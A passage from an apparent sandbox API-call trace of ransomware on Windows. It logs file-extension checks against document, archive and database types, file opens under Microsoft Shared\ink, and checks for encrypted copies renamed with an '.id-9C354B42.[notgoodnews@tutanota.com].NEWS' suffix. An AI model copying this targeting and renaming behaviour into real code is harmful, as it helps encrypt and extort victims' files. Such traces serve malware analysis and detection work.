4 [0199.895] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0199.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0199.895] lstrlenW (lpString=".jpg") returned 4 [0199.895] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0199.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0199.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0199.895] lstrlenW (lpString=".doc") returned 4 [0199.895] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0199.895] lstrlenW (lpString=".docx") returned 5 [0199.896] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0199.896] lstrlenW (lpString=".pdf") returned 4 [0199.896] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0199.896] lstrlenW (lpString=".xls") returned 4 [0199.896] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0199.896] lstrlenW (lpString=".xlsx") returned 5 [0199.896] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0199.896] lstrlenW (lpString=".ppt") returned 4 [0199.896] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0199.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0199.897] lstrlenW (lpString=".zip") returned 4 [0199.897] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0199.897] lstrlenW (lpString=".rar") returned 4 [0199.897] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0199.897] lstrlenW (lpString=".bz2") returned 4 [0199.897] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0199.898] lstrlenW (lpString=".7z") returned 3 [0199.898] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0199.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0199.898] lstrlenW (lpString=".dbf") returned 4 [0199.898] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0199.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0199.898] lstrlenW (lpString=".1cd") returned 4 [0199.898] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0199.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0199.899] lstrlenW (lpString=".jpg") returned 4 [0199.899] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0199.899] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0199.900] lstrlenW (lpString="kor-kor.xml") returned 11 [0199.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0199.931] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=392) returned 1 [0199.931] CloseHandle (hObject=0x290) returned 1 [0199.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0199.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0199.932] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0199.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0199.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0199.932] lstrlenW (lpString=".doc") returned 4 [0199.932] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0199.932] lstrlenW (lpString=".docx") returned 5 [0199.932] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0199.932] lstrlenW (lpString=".pdf") returned 4 [0199.933] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0199.933] lstrlenW (lpString=".xls") returned 4 [0199.933] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0199.933] lstrlenW (lpString=".xlsx") returned 5 [0199.933] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0199.933] lstrlenW (lpString=".ppt") returned 4 [0199.933] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0199.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0199.933] lstrlenW (lpString=".zip") returned 4 [0199.933] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0199.933] lstrlenW (lpString=".rar") returned 4 [0199.934] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0199.934] lstrlenW (lpString=".bz2") returned 4 [0199.934] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0199.934] lstrlenW (lpString=".7z") returned 3 [0199.934] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0199.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0199.935] lstrlenW (lpString=".dbf") returned 4 [0199.935] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0199.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0199.935] lstrlenW (lpString=".1cd") returned 4 [0199.935] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0199.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0199.935] lstrlenW (lpString=".jpg") returned 4 [0199.935] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0199.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0199.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0199.935] lstrlenW (lpString=".doc") returned 4 [0199.936] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0199.936] lstrlenW (lpString=".docx") returned 5 [0199.936] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0199.936] lstrlenW (lpString=".pdf") returned 4 [0199.936] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0199.936] lstrlenW (lpString=".xls") returned 4 [0199.936] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0199.936] lstrlenW (lpString=".xlsx") returned 5 [0199.936] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0199.936] lstrlenW (lpString=".ppt") returned 4 [0199.936] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0199.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0199.936] lstrlenW (lpString=".zip") returned 4 [0199.937] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0199.937] lstrlenW (lpString=".rar") returned 4 [0199.937] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0199.937] lstrlenW (lpString=".bz2") returned 4 [0199.937] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0199.937] lstrlenW (lpString=".7z") returned 3 [0199.937] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0199.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0199.937] lstrlenW (lpString=".dbf") returned 4 [0199.937] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0199.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0199.937] lstrlenW (lpString=".1cd") returned 4 [0199.937] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0199.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0199.938] lstrlenW (lpString=".jpg") returned 4 [0199.938] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0199.938] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0199.938] lstrlenW (lpString="base_rtl.xml") returned 12 [0199.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0 [0200.968] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=617) returned 1 [0200.968] CloseHandle (hObject=0x2a0) returned 1 [0200.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0200.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0200.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0200.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0200.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0200.969] lstrlenW (lpString=".doc") returned 4 [0200.969] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.969] lstrlenW (lpString=".docx") returned 5 [0200.969] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0200.969] lstrlenW (lpString=".pdf") returned 4 [0200.969] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.969] lstrlenW (lpString=".xls") returned 4 [0200.969] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.969] lstrlenW (lpString=".xlsx") returned 5 [0200.970] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0200.970] lstrlenW (lpString=".ppt") returned 4 [0200.970] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0200.970] lstrlenW (lpString=".zip") returned 4 [0200.970] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.970] lstrlenW (lpString=".rar") returned 4 [0200.970] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.970] lstrlenW (lpString=".bz2") returned 4 [0200.970] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.970] lstrlenW (lpString=".7z") returned 3 [0200.970] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0200.971] lstrlenW (lpString=".dbf") returned 4 [0200.971] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0200.971] lstrlenW (lpString=".1cd") returned 4 [0200.971] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0200.971] lstrlenW (lpString=".jpg") returned 4 [0200.971] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0200.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0200.972] lstrlenW (lpString=".doc") returned 4 [0200.972] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.972] lstrlenW (lpString=".docx") returned 5 [0200.972] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0200.972] lstrlenW (lpString=".pdf") returned 4 [0200.972] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.972] lstrlenW (lpString=".xls") returned 4 [0200.972] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.972] lstrlenW (lpString=".xlsx") returned 5 [0200.972] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0200.972] lstrlenW (lpString=".ppt") returned 4 [0200.972] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0200.973] lstrlenW (lpString=".zip") returned 4 [0200.973] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.973] lstrlenW (lpString=".rar") returned 4 [0200.973] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.973] lstrlenW (lpString=".bz2") returned 4 [0200.973] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.973] lstrlenW (lpString=".7z") returned 3 [0200.973] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0200.973] lstrlenW (lpString=".dbf") returned 4 [0200.973] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0200.974] lstrlenW (lpString=".1cd") returned 4 [0200.974] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0200.974] lstrlenW (lpString=".jpg") returned 4 [0200.974] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.974] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0200.975] lstrlenW (lpString="ko-kr.xml") returned 9 [0200.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0 [0200.979] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=15097) returned 1 [0200.979] CloseHandle (hObject=0x2a0) returned 1 [0200.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0200.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0200.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0200.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0200.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0200.981] lstrlenW (lpString=".doc") returned 4 [0200.981] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.981] lstrlenW (lpString=".docx") returned 5 [0200.981] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0200.981] lstrlenW (lpString=".pdf") returned 4 [0200.981] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.981] lstrlenW (lpString=".xls") returned 4 [0200.982] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.982] lstrlenW (lpString=".xlsx") returned 5 [0200.982] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0200.982] lstrlenW (lpString=".ppt") returned 4 [0200.982] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0200.982] lstrlenW (lpString=".zip") returned 4 [0200.982] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.983] lstrlenW (lpString=".rar") returned 4 [0200.983] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.983] lstrlenW (lpString=".bz2") returned 4 [0200.983] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.983] lstrlenW (lpString=".7z") returned 3 [0200.983] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0200.983] lstrlenW (lpString=".dbf") returned 4 [0200.984] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0200.984] lstrlenW (lpString=".1cd") returned 4 [0200.984] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0200.984] lstrlenW (lpString=".jpg") returned 4 [0200.984] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0200.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0200.985] lstrlenW (lpString=".doc") returned 4 [0200.985] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.985] lstrlenW (lpString=".docx") returned 5 [0200.985] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0200.985] lstrlenW (lpString=".pdf") returned 4 [0200.986] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.986] lstrlenW (lpString=".xls") returned 4 [0200.986] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.986] lstrlenW (lpString=".xlsx") returned 5 [0200.986] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0200.986] lstrlenW (lpString=".ppt") returned 4 [0200.986] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0200.987] lstrlenW (lpString=".zip") returned 4 [0200.987] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.987] lstrlenW (lpString=".rar") returned 4 [0200.987] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.987] lstrlenW (lpString=".bz2") returned 4 [0200.987] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.987] lstrlenW (lpString=".7z") returned 3 [0200.988] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0200.988] lstrlenW (lpString=".dbf") returned 4 [0200.988] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0200.988] lstrlenW (lpString=".1cd") returned 4 [0200.988] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0200.989] lstrlenW (lpString=".jpg") returned 4 [0200.989] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.989] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0200.990] lstrlenW (lpString="zh-changjei.xml") returned 15 [0200.990] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0 [0200.993] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=9803) returned 1 [0200.993] CloseHandle (hObject=0x2a0) returned 1 [0200.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0200.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0200.995] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0200.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0200.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0200.996] lstrlenW (lpString=".doc") returned 4 [0200.996] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.996] lstrlenW (lpString=".docx") returned 5 [0200.996] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0200.996] lstrlenW (lpString=".pdf") returned 4 [0200.996] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.996] lstrlenW (lpString=".xls") returned 4 [0200.996] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.997] lstrlenW (lpString=".xlsx") returned 5 [0200.997] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0200.997] lstrlenW (lpString=".ppt") returned 4 [0200.997] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0200.997] lstrlenW (lpString=".zip") returned 4 [0200.997] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.997] lstrlenW (lpString=".rar") returned 4 [0200.997] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.997] lstrlenW (lpString=".bz2") returned 4 [0200.997] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.997] lstrlenW (lpString=".7z") returned 3 [0200.997] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0200.998] lstrlenW (lpString=".dbf") returned 4 [0200.998] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0200.998] lstrlenW (lpString=".1cd") returned 4 [0200.998] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0200.998] lstrlenW (lpString=".jpg") returned 4 [0200.998] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0200.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0200.999] lstrlenW (lpString=".doc") returned 4 [0200.999] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.999] lstrlenW (lpString=".docx") returned 5 [0200.999] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0200.999] lstrlenW (lpString=".pdf") returned 4 [0200.999] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.999] lstrlenW (lpString=".xls") returned 4 [0200.999] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.999] lstrlenW (lpString=".xlsx") returned 5 [0200.999] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0200.999] lstrlenW (lpString=".ppt") returned 4 [0201.000] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0201.000] lstrlenW (lpString=".zip") returned 4 [0201.000] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.000] lstrlenW (lpString=".rar") returned 4 [0201.000] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.000] lstrlenW (lpString=".bz2") returned 4 [0201.000] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned 